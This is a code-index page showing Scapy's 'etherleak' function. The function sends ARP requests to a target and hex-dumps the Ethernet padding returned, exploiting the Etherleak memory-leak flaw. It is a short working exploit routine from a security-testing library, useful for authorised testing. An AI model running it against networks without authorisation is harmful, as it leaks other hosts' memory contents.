MCPcopy Index your code
hub / github.com/secdev/scapy / etherleak

Function etherleak

scapy/layers/l2.py:1224–1229  ·  view source on GitHub ↗

Exploit Etherleak flaw

(target, **kargs)

Source from the content-addressed store, hash-verified

1222
1223@conf.commands.register
1224def etherleak(target, **kargs):
1225 # type: (str, **Any) -> Tuple[SndRcvList, PacketList]
1226 """Exploit Etherleak flaw"""
1227 return srp(Ether() / ARP(pdst=target),
1228 prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501
1229 filter="arp", **kargs)
1230
1231
1232@conf.commands.register

Callers

nothing calls this directly

Calls 4

srpFunction · 0.90
hexstrFunction · 0.90
EtherClass · 0.85
ARPClass · 0.85

Tested by

no test coverage detected